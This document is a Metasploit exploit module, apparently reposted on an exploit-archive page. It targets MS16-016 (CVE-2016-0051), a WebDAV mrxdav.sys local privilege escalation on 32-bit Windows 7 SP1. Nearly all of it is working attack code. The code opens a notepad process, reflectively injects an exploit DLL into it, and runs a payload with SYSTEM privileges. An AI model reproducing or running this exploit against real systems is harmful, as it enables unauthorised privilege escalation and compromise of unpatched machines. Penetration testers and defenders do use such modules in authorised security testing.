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MS16-016 mrxdav.sys WebDav Local Privilege Escalation

Posted on 09 July 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection

def initialize(info={})
super(update_info(info, {
'Name' => 'MS16-016 mrxdav.sys WebDav Local Privilege Escalation',
'Description' => %q{
This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn
a process on the target system and elevate it's privileges to NT AUTHORITYSYSTEM before executing
the specified payload within the context of the elevated process.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tamas Koczka', # Original Exploit
'William Webb <william_webb[at]rapid7.com>' # C port and Metasploit module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => 'false'
},
'Targets' =>
[
[ 'Windows 7 SP1', { } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2016-0051' ],
[ 'MSB', 'MS16-016' ]
],
'DisclosureDate' => 'Feb 09 2016',
'DefaultTarget' => 0
}))
end

def check
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
return Exploit::CheckCode::Safe
end

Exploit::CheckCode::Detected
end

def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end

if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end

print_status("Launching notepad to host the exploit...")
notepad_process_pid = cmd_exec_get_pid("notepad.exe")
begin
process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
print_status("Operation failed. Hosting exploit in the current process...")
process = client.sys.process.open
end

print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2016-0051", "cve-2016-0051.x86.dll")
library_path = ::File.expand_path(library_path)
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected ... injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
thread = process.thread.create(exploit_mem + offset, payload_mem)
sleep(3)
print_status("Done. Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.")
end
end

 

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